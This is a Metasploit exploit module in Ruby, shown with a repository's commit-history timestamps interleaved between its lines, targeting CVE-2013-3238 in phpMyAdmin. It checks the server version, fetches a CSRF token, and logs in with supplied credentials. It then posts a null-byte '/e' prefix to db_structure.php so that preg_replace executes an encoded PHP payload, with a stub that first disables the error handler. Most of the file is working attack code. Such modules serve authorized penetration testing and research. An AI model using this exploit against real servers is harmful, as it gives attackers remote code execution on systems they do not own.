metasploit-framework/modules/exploits/multi/http/phpmyadmin_preg_replace.rb

161 lines
4.2 KiB
Ruby
Raw Normal View History

2013-04-26 13:32:18 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2013-04-26 22:37:26 +00:00
'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
'Description' => %q{
2013-04-26 22:38:27 +00:00
This module exploits a PREG_REPLACE EVAL vulnerability in phpMyAdmin's
2013-04-26 14:41:28 +00:00
replace_prefix_tbl in libraries/mult_submits.inc.php via db_settings.php
2013-04-26 13:32:18 +00:00
},
'Author' =>
2013-04-26 13:32:18 +00:00
[
'Janek "waraxe" Vind', # Discovery
2013-04-26 14:41:28 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
2013-04-26 13:32:18 +00:00
],
'License' => MSF_LICENSE,
'References' =>
2013-04-26 13:32:18 +00:00
[
2013-04-26 14:41:28 +00:00
[ 'CVE', '2013-3238' ],
[ 'PMASA', '2013-2'],
[ 'waraxe', '2013-SA#103' ],
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
2013-04-26 22:37:26 +00:00
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
2013-04-26 13:32:18 +00:00
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
2013-04-26 13:32:18 +00:00
{
2013-04-26 18:19:11 +00:00
'BadChars' => "&\n=+%",
# Clear out PMA's error handler so it doesn't lose its mind
# and cause ENOMEM errors and segfaults in the destructor.
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
2013-04-26 14:41:28 +00:00
},
'Targets' =>
2013-04-26 13:32:18 +00:00
[
2013-04-26 14:41:28 +00:00
[ 'Automatic', { } ],
2013-04-26 13:32:18 +00:00
],
'DefaultTarget' => 0,
2013-04-26 14:41:28 +00:00
'DisclosureDate' => 'Apr 25 2013'))
2013-04-26 13:32:18 +00:00
register_options(
[
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
2013-04-26 13:32:18 +00:00
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
], self.class)
end
def uri(path="")
normalize_uri(datastore['PATH'], datastore['URI'], path)
end
def check
2013-04-26 14:41:28 +00:00
begin
res = send_request_cgi({ 'uri' => uri('/js/messages.php') })
rescue
print_error("Unable to connect to server.")
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
2013-04-26 14:41:28 +00:00
if res.code != 200
print_error("Unable to query /js/messages.php")
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
2013-04-26 14:41:28 +00:00
if res.body =~ /pmaversion = '(.*)';/
print_status("Server version: #{$1}")
case $1.downcase
when '3.5.8.1', '4.0.0-rc3'
return CheckCode::Safe
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
return CheckCode::Vulnerable
else
if $1.starts_with? '3.5.'
return CheckCode::Vulnerable
end
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
end
end
def exploit
2013-04-26 22:38:27 +00:00
print_status("Grabbing CSRF token...")
2013-04-26 13:32:18 +00:00
response = send_request_cgi({ 'uri' => uri})
if response.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
if (response.body !~ /"token"\s*value="([^"]*)"/)
2013-04-26 16:10:24 +00:00
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
2013-04-26 13:32:18 +00:00
else
print_good("Retrieved token")
end
token = $1
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
print_status("Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => uri('index.php'),
'vars_post' => post
})
if login.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
2013-04-26 19:26:04 +00:00
cookies = login.get_cookies
2013-04-26 16:10:24 +00:00
login_check = send_request_cgi({
'uri' => uri('index.php'),
'vars_get' => { 'token' => token },
2013-04-26 19:26:04 +00:00
'cookie' => cookies
2013-04-26 16:10:24 +00:00
})
if login_check.body =~ /Welcome to/
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
else
print_good("Authentication successful")
2013-04-26 13:32:18 +00:00
end
2013-04-26 14:41:28 +00:00
db = rand_text_alpha(3+rand(3))
2013-04-26 18:19:11 +00:00
exploit_result = send_request_cgi({
'uri' => uri('db_structure.php'),
'method' => 'POST',
2013-04-26 19:26:04 +00:00
'cookie' => cookies,
2013-04-26 18:19:11 +00:00
'vars_post' => {
'query_type' => 'replace_prefix_tbl',
'db' => db,
'selected[0]' => db,
'token' => token,
'from_prefix' => "/e\0",
'to_prefix' => payload.encoded,
'mult_btn' => 'Yes'
}
},1)
2013-04-26 13:32:18 +00:00
end
end